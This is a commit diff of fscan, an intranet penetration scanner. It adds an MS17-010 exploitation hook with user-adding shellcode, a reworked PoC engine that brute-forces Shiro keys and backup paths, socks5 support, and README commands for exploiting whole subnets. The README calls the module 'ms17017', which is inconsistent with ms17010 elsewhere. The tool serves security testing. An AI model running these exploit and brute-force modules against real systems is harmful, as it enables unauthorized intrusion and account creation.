mirror of https://github.com/qwqdanchun/fscan.git
加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。 新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
This commit is contained in:
parent
b1d85833a7
commit
8e1db5995e
File diff suppressed because it is too large
Load Diff
|
@ -131,6 +131,9 @@ func MS17010Scan(info *common.HostInfo) error {
|
|||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
if common.SC != "" {
|
||||
MS17010EXP(info)
|
||||
}
|
||||
// detect present of DOUBLEPULSAR SMB implant
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
|
|
|
@ -75,8 +75,8 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData
|
|||
}
|
||||
}
|
||||
}
|
||||
|
||||
err, _, CheckData = geturl(info, 2, CheckData)
|
||||
//是否访问图标
|
||||
//err, _, CheckData = geturl(info, 2, CheckData)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
@ -105,11 +105,12 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er
|
|||
req.Header.Set("User-agent", "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1468.0 Safari/537.36")
|
||||
req.Header.Set("Accept", "*/*")
|
||||
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
|
||||
if common.Pocinfo.Cookie != "" {
|
||||
req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
|
||||
} else {
|
||||
req.Header.Set("Cookie", "rememberMe=1")
|
||||
}
|
||||
req.Header.Set("Cookie", common.Pocinfo.Cookie)
|
||||
//if common.Pocinfo.Cookie != "" {
|
||||
// req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie)
|
||||
//} else {
|
||||
// req.Header.Set("Cookie", "rememberMe=1")
|
||||
//}
|
||||
req.Header.Set("Connection", "close")
|
||||
var client *http.Client
|
||||
if flag == 1 {
|
||||
|
|
|
@ -26,6 +26,7 @@
|
|||
5.漏洞利用:
|
||||
* redis写公钥或写计划任务
|
||||
* ssh命令执行
|
||||
* ms17017利用(植入shellcode),如添加用户等
|
||||
|
||||
6.其他功能:
|
||||
* 文件保存
|
||||
|
@ -53,6 +54,8 @@ fscan.exe -hf ip.txt (以文件导入)
|
|||
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
|
||||
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
|
||||
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
|
||||
fscan.exe -h 192.168.1.1/24 -socks5 127.0.0.1:1080
|
||||
fscan.exe -h 192.168.1.1/24 -m ms17017 -sc add (可在ms17010-exp.go自定义shellcode,内置添加用户等功能)
|
||||
```
|
||||
编译命令
|
||||
```
|
||||
|
@ -135,6 +138,10 @@ go build -ldflags="-s -w " -trimpath
|
|||
在原有用户字典基础上,新增新用户
|
||||
-pwda string
|
||||
在原有密码字典基础上,增加新密码
|
||||
-socks5
|
||||
指定socks5代理 (as: -socks5 socks5://127.0.0.1:1080)
|
||||
-sc
|
||||
指定ms17010利用模块shellcode,内置添加用户等功能 (as: -sc add)
|
||||
```
|
||||
|
||||
## 运行截图
|
||||
|
@ -194,6 +201,8 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G
|
|||
除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。
|
||||
|
||||
## 最近更新
|
||||
[+] 2022/7/2 加强poc fuzz模块,支持跑备份文件、目录、shiro-key(默认跑10key,可用-full参数跑100key)等。新增ms17017利用(使用参数: -sc add),可在ms17010-exp.go自定义shellcode,内置添加用户等功能。
|
||||
新增poc、指纹。支持socks5代理。因body指纹更全,默认不再跑ico图标。
|
||||
[+] 2022/4/20 poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程
|
||||
[+] 2022/2/25 新增-m webonly,跳过端口扫描,直接访问http。致谢@AgeloVito
|
||||
[+] 2022/1/11 新增oracle密码爆破
|
||||
|
|
|
@ -28,11 +28,11 @@ func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
|
|||
infoname = append(infoname, rule.Name)
|
||||
}
|
||||
}
|
||||
flag, name := CalcMd5(data.Body)
|
||||
//flag, name := CalcMd5(data.Body)
|
||||
|
||||
if flag == true {
|
||||
infoname = append(infoname, name)
|
||||
}
|
||||
//if flag == true {
|
||||
// infoname = append(infoname, name)
|
||||
//}
|
||||
}
|
||||
|
||||
infoname = removeDuplicateElement(infoname)
|
||||
|
|
|
@ -110,7 +110,7 @@ var RuleDatas = []RuleData{
|
|||
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
|
||||
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
|
||||
{"zabbix", "cookie", "(zbx_sessionid)"},
|
||||
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA)"},
|
||||
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
|
||||
{"CISCO_VPN", "headers", "(webvpn)"},
|
||||
{"360站长平台", "code", "(360-site-verification)"},
|
||||
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
|
||||
|
@ -128,7 +128,7 @@ var RuleDatas = []RuleData{
|
|||
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
|
||||
{"H3C ER3260", "code", "(ER3260系统管理)"},
|
||||
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
|
||||
{"exchange", "code", "(/owa/auth.owa)"},
|
||||
{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
|
||||
{"Spark_Worker", "code", "(Spark Worker at)"},
|
||||
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
|
||||
{"Citrix-ConfProxy", "code", "(confproxy)"},
|
||||
|
@ -145,7 +145,7 @@ var RuleDatas = []RuleData{
|
|||
{"金和协同管理平台", "code", "(金和协同管理平台)"},
|
||||
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
|
||||
{"linksys-vpn", "headers", "(linksys-vpn)"},
|
||||
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版)"},
|
||||
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
|
||||
{"华为(HUAWEI)Secoway设备", "code", "(Secoway)"},
|
||||
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
|
||||
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
|
||||
|
@ -169,7 +169,7 @@ var RuleDatas = []RuleData{
|
|||
{"VMware vSphere", "code", "(VMware vSphere)"},
|
||||
{"打印机", "code", "(打印机|media/canon.gif)"},
|
||||
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
|
||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization)"},
|
||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
|
||||
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
|
||||
{"用友", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"},
|
||||
{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
|
||||
|
@ -232,7 +232,7 @@ var RuleDatas = []RuleData{
|
|||
{"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"},
|
||||
{"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"},
|
||||
{"Huawei SMC", "code", "(Script/SmcScript.js?version=)"},
|
||||
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\")"},
|
||||
{"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"},
|
||||
{"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"},
|
||||
{"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"},
|
||||
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"},
|
||||
|
@ -246,14 +246,21 @@ var RuleDatas = []RuleData{
|
|||
{"Swagger UI", "code", "(/swagger-ui.css|swagger-ui-bundle.js|swagger-ui-standalone-preset.js)"},
|
||||
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js|HTML5/content/themes/kdcss.min.css|/ClientBin/Kingdee.BOS.XPF.App.xap)"},
|
||||
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/icon.css|sys/ui/extend/theme/default/style/profile.css)"},
|
||||
{"用友NC", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg)"},
|
||||
{"用友NC", "code", "(YONYOU NC | /Client/Uclient/UClient.dmg|用友NC|logo/images/ufida_nc.png)"},
|
||||
{"用友IUFO", "code", "(iufo/web/css/menu.css)"},
|
||||
{"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"},
|
||||
{"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"},
|
||||
{"CMS", "code", "(Powered by .*CMS)"},
|
||||
{"editor", "code", "(editor)"},
|
||||
{"目录遍历", "code", "(Directory listing for /)"},
|
||||
{"ATLASSIAN-Confluence", "code", "(confluence.)"},
|
||||
{"向日葵", "code", "({\"success\":false,\"msg\":\"Verification failure\"})"},
|
||||
{"Kubernetes", "code", "(Kubernetes Dashboard</title>|Kubernetes Enterprise Manager|Mirantis Kubernetes Engine|Kubernetes Resource Report)"},
|
||||
{"WordPress", "code", "(/wp-login.php?action=lostpassword|WordPress</title>)"},
|
||||
{"RabbitMQ", "code", "(RabbitMQ Management)"},
|
||||
{"dubbo", "headers", "(Basic realm=\"dubbo\")"},
|
||||
{"Spring env", "code", "(logback)"},
|
||||
{"ueditor", "code", "(ueditor.all.js|UE.getEditor)"},
|
||||
{"亿邮电子邮件系统", "code", "(亿邮电子邮件系统|亿邮邮件整体解决方案)"},
|
||||
}
|
||||
|
||||
var Md5Datas = []Md5Data{
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
package lib
|
||||
|
||||
import (
|
||||
"crypto/md5"
|
||||
"fmt"
|
||||
"github.com/google/cel-go/cel"
|
||||
"github.com/shadow1ng/fscan/WebScan/info"
|
||||
|
@ -9,7 +10,6 @@ import (
|
|||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
@ -56,9 +56,13 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||
c := NewEnvOption()
|
||||
c.UpdateCompileOptions(p.Set)
|
||||
if len(p.Sets) > 0 {
|
||||
setMap := make(map[string]string)
|
||||
for k := range p.Sets {
|
||||
setMap[k] = p.Sets[k][0]
|
||||
var setMap StrMap
|
||||
for _, item := range p.Sets {
|
||||
if len(item.Value) > 0 {
|
||||
setMap = append(setMap, StrItem{item.Key, item.Value[0]})
|
||||
} else {
|
||||
setMap = append(setMap, StrItem{item.Key, ""})
|
||||
}
|
||||
}
|
||||
c.UpdateCompileOptions(setMap)
|
||||
}
|
||||
|
@ -74,91 +78,21 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||
}
|
||||
variableMap := make(map[string]interface{})
|
||||
variableMap["request"] = req
|
||||
|
||||
// 现在假定set中payload作为最后产出,那么先排序解析其他的自定义变量,更新map[string]interface{}后再来解析payload
|
||||
keys := make([]string, 0)
|
||||
keys1 := make([]string, 0)
|
||||
for k := range p.Set {
|
||||
if strings.Contains(strings.ToLower(p.Set[k]), "random") && strings.Contains(strings.ToLower(p.Set[k]), "(") {
|
||||
keys = append(keys, k) //优先放入调用random系列函数的变量
|
||||
} else {
|
||||
keys1 = append(keys1, k)
|
||||
for _, item := range p.Set {
|
||||
k, expression := item.Key, item.Value
|
||||
if expression == "newReverse()" {
|
||||
variableMap[k] = newReverse()
|
||||
continue
|
||||
}
|
||||
}
|
||||
sort.Strings(keys)
|
||||
sort.Strings(keys1)
|
||||
keys = append(keys, keys1...)
|
||||
for _, k := range keys {
|
||||
expression := p.Set[k]
|
||||
if k != "payload" {
|
||||
if expression == "newReverse()" {
|
||||
variableMap[k] = newReverse()
|
||||
continue
|
||||
}
|
||||
out, err := Evaluate(env, expression, variableMap)
|
||||
if err != nil {
|
||||
//fmt.Println(p.Name," poc_expression error",err)
|
||||
variableMap[k] = expression
|
||||
continue
|
||||
}
|
||||
switch value := out.Value().(type) {
|
||||
case *UrlType:
|
||||
variableMap[k] = UrlTypeToString(value)
|
||||
case int64:
|
||||
variableMap[k] = int(value)
|
||||
case []uint8:
|
||||
variableMap[k] = fmt.Sprintf("%s", out)
|
||||
default:
|
||||
variableMap[k] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if p.Set["payload"] != "" {
|
||||
out, err := Evaluate(env, p.Set["payload"], variableMap)
|
||||
err, _ = evalset(env, variableMap, k, expression)
|
||||
if err != nil {
|
||||
//fmt.Println(p.Name," poc_payload error",err)
|
||||
return false, err, ""
|
||||
}
|
||||
variableMap["payload"] = fmt.Sprintf("%v", out)
|
||||
}
|
||||
|
||||
setslen := 0
|
||||
haspayload := false
|
||||
var setskeys []string
|
||||
if len(p.Sets) > 0 {
|
||||
for _, rule := range p.Rules {
|
||||
for k := range p.Sets {
|
||||
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
haspayload = true
|
||||
}
|
||||
setslen++
|
||||
setskeys = append(setskeys, k)
|
||||
continue
|
||||
}
|
||||
for k2 := range rule.Headers {
|
||||
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
haspayload = true
|
||||
}
|
||||
setslen++
|
||||
setskeys = append(setskeys, k)
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
fmt.Printf("[-] %s evalset error: %v", p.Name, err)
|
||||
}
|
||||
}
|
||||
|
||||
success := false
|
||||
//爆破模式,比如tomcat弱口令
|
||||
if setslen > 0 {
|
||||
if haspayload {
|
||||
success, err = clusterpoc1(oReq, p, variableMap, req, env, setskeys)
|
||||
} else {
|
||||
success, err = clusterpoc(oReq, p, variableMap, req, env, setslen, setskeys)
|
||||
}
|
||||
if len(p.Sets) > 0 {
|
||||
success, err = clusterpoc(oReq, p, variableMap, req, env)
|
||||
return success, nil, ""
|
||||
}
|
||||
|
||||
|
@ -179,8 +113,8 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||
}
|
||||
Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value)
|
||||
}
|
||||
|
||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
||||
|
@ -189,15 +123,22 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||
req.Url.Path = rule.Path
|
||||
}
|
||||
// 某些poc没有区分path和query,需要处理
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
||||
//req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
||||
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
||||
|
||||
newRequest, _ := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
||||
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
|
||||
if err != nil {
|
||||
//fmt.Println("[-] newRequest error: ",err)
|
||||
return false, err
|
||||
}
|
||||
newRequest.URL.Path = req.Url.Path
|
||||
newRequest.Header = oReq.Header.Clone()
|
||||
for k, v := range Headers {
|
||||
newRequest.Header.Set(k, v)
|
||||
}
|
||||
Headers = nil
|
||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
||||
newRequest = nil
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
@ -247,7 +188,8 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) {
|
|||
if len(p.Rules) > 0 {
|
||||
success = DealWithRules(p.Rules)
|
||||
} else {
|
||||
for name, rules := range p.Groups {
|
||||
for _, item := range p.Groups {
|
||||
name, rules := item.Key, item.Value
|
||||
success = DealWithRules(rules)
|
||||
if success {
|
||||
return success, nil, name
|
||||
|
@ -281,10 +223,10 @@ func newReverse() *Reverse {
|
|||
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
|
||||
randSource := rand.New(rand.NewSource(time.Now().Unix()))
|
||||
sub := RandomStr(randSource, letters, 8)
|
||||
if true {
|
||||
//默认不开启dns解析
|
||||
return &Reverse{}
|
||||
}
|
||||
//if true {
|
||||
// //默认不开启dns解析
|
||||
// return &Reverse{}
|
||||
//}
|
||||
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
|
||||
u, _ := url.Parse(urlStr)
|
||||
return &Reverse{
|
||||
|
@ -295,323 +237,182 @@ func newReverse() *Reverse {
|
|||
}
|
||||
}
|
||||
|
||||
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, slen int, keys []string) (success bool, err error) {
|
||||
for _, rule := range p.Rules {
|
||||
for k1, v1 := range variableMap {
|
||||
if IsContain(keys, k1) {
|
||||
continue
|
||||
}
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range rule.Headers {
|
||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
}
|
||||
|
||||
n := 0
|
||||
for k := range p.Sets {
|
||||
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
|
||||
n++
|
||||
continue
|
||||
}
|
||||
for k2 := range rule.Headers {
|
||||
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
|
||||
n++
|
||||
continue
|
||||
}
|
||||
}
|
||||
}
|
||||
if n == 0 {
|
||||
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
|
||||
var strMap StrMap
|
||||
var tmpnum int
|
||||
for i, rule := range p.Rules {
|
||||
if !isFuzz(rule, p.Sets) {
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
if success {
|
||||
continue
|
||||
} else {
|
||||
return false, err
|
||||
}
|
||||
}
|
||||
|
||||
if slen == 1 {
|
||||
look1:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
rule1 := cloneRules(rule)
|
||||
setsMap := Combo(p.Sets)
|
||||
ruleHash := make(map[string]struct{})
|
||||
look:
|
||||
for j, item := range setsMap {
|
||||
//shiro默认只跑10key
|
||||
if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 {
|
||||
if item[1] == "cbc" {
|
||||
continue
|
||||
} else {
|
||||
if tmpnum == 0 {
|
||||
tmpnum = j
|
||||
}
|
||||
if j-tmpnum >= 10 {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
rule1 := cloneRules(rule)
|
||||
var flag1 bool
|
||||
var tmpMap StrMap
|
||||
var payloads = make(map[string]interface{})
|
||||
var tmpexpression string
|
||||
for i, one := range p.Sets {
|
||||
key, expression := one.Key, item[i]
|
||||
if key == "payload" {
|
||||
tmpexpression = expression
|
||||
}
|
||||
_, output := evalset1(env, variableMap, key, expression)
|
||||
payloads[key] = output
|
||||
}
|
||||
for _, one := range p.Sets {
|
||||
flag := false
|
||||
key := one.Key
|
||||
value := fmt.Sprintf("%v", payloads[key])
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
if strings.Contains(v2, "{{"+key+"}}") {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value)
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule1)
|
||||
if err != nil {
|
||||
return false, err
|
||||
if strings.Contains(rule1.Path, "{{"+key+"}}") {
|
||||
rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value)
|
||||
flag = true
|
||||
}
|
||||
if success == true {
|
||||
break look1
|
||||
if strings.Contains(rule1.Body, "{{"+key+"}}") {
|
||||
rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value)
|
||||
flag = true
|
||||
}
|
||||
if flag {
|
||||
flag1 = true
|
||||
if key == "payload" {
|
||||
var flag2 bool
|
||||
for k, v := range variableMap {
|
||||
if strings.Contains(tmpexpression, k) {
|
||||
flag2 = true
|
||||
tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)})
|
||||
}
|
||||
}
|
||||
if flag2 {
|
||||
continue
|
||||
}
|
||||
}
|
||||
tmpMap = append(tmpMap, StrItem{key, value})
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
if !flag1 {
|
||||
continue
|
||||
}
|
||||
has := md5.Sum([]byte(fmt.Sprintf("%v", rule1)))
|
||||
md5str := fmt.Sprintf("%x", has)
|
||||
if _, ok := ruleHash[md5str]; ok {
|
||||
continue
|
||||
}
|
||||
ruleHash[md5str] = struct{}{}
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule1)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success {
|
||||
if rule.Continue {
|
||||
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
|
||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
|
||||
} else {
|
||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap))
|
||||
}
|
||||
continue
|
||||
}
|
||||
strMap = append(strMap, tmpMap...)
|
||||
if i == len(p.Rules)-1 {
|
||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
|
||||
//防止后续继续打印poc成功信息
|
||||
return false, nil
|
||||
}
|
||||
break look
|
||||
}
|
||||
}
|
||||
|
||||
if slen == 2 {
|
||||
look2:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
for _, var2 := range p.Sets[keys[1]] {
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule1)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
break look2
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
if !success {
|
||||
break
|
||||
}
|
||||
|
||||
if slen == 3 {
|
||||
look3:
|
||||
for _, var1 := range p.Sets[keys[0]] {
|
||||
for _, var2 := range p.Sets[keys[1]] {
|
||||
for _, var3 := range p.Sets[keys[2]] {
|
||||
rule1 := cloneRules(rule)
|
||||
for k2, v2 := range rule1.Headers {
|
||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+keys[0]+"}}", var1)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[1]+"}}", var2)
|
||||
rule1.Headers[k2] = strings.ReplaceAll(rule1.Headers[k2], "{{"+keys[2]+"}}", var3)
|
||||
}
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[0]+"}}", var1)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[1]+"}}", var2)
|
||||
rule1.Path = strings.ReplaceAll(strings.TrimSpace(rule1.Path), "{{"+keys[2]+"}}", var3)
|
||||
rule1.Body = strings.ReplaceAll(strings.TrimSpace(rule1.Body), "{{"+keys[2]+"}}", var3)
|
||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
if success == true {
|
||||
break look3
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if success == false {
|
||||
break
|
||||
}
|
||||
if rule.Continue {
|
||||
//防止后续继续打印poc成功信息
|
||||
return false, nil
|
||||
}
|
||||
}
|
||||
return success, nil
|
||||
}
|
||||
|
||||
func clusterpoc1(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env, keys []string) (success bool, err error) {
|
||||
setMap := make(map[string]interface{})
|
||||
for k := range p.Sets {
|
||||
setMap[k] = p.Sets[k][0]
|
||||
}
|
||||
setMapbak := cloneMap1(setMap)
|
||||
for _, rule := range p.Rules {
|
||||
for k1, v1 := range variableMap {
|
||||
if IsContain(keys, k1) {
|
||||
continue
|
||||
}
|
||||
_, isMap := v1.(map[string]string)
|
||||
if isMap {
|
||||
continue
|
||||
}
|
||||
value := fmt.Sprintf("%v", v1)
|
||||
for k2, v2 := range rule.Headers {
|
||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
||||
}
|
||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
||||
}
|
||||
|
||||
varset := []string{}
|
||||
varpay := []string{}
|
||||
n := 0
|
||||
for k := range p.Sets {
|
||||
// 1. 如果rule中需要修改 {{k}} 如username、payload
|
||||
if strings.Contains(rule.Body, "{{"+k+"}}") || strings.Contains(rule.Path, "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
varpay = append(varpay, k)
|
||||
} else {
|
||||
varset = append(varset, k)
|
||||
}
|
||||
n++
|
||||
continue
|
||||
}
|
||||
for k2 := range rule.Headers {
|
||||
if strings.Contains(rule.Headers[k2], "{{"+k+"}}") {
|
||||
if strings.Contains(k, "payload") {
|
||||
varpay = append(varpay, k)
|
||||
} else {
|
||||
varset = append(varset, k)
|
||||
}
|
||||
n++
|
||||
continue
|
||||
}
|
||||
func isFuzz(rule Rules, Sets ListMap) bool {
|
||||
for _, one := range Sets {
|
||||
key := one.Key
|
||||
for _, v := range rule.Headers {
|
||||
if strings.Contains(v, "{{"+key+"}}") {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
for _, key := range varpay {
|
||||
v := fmt.Sprintf("%s", setMap[key])
|
||||
for k := range p.Sets {
|
||||
if strings.Contains(v, k) {
|
||||
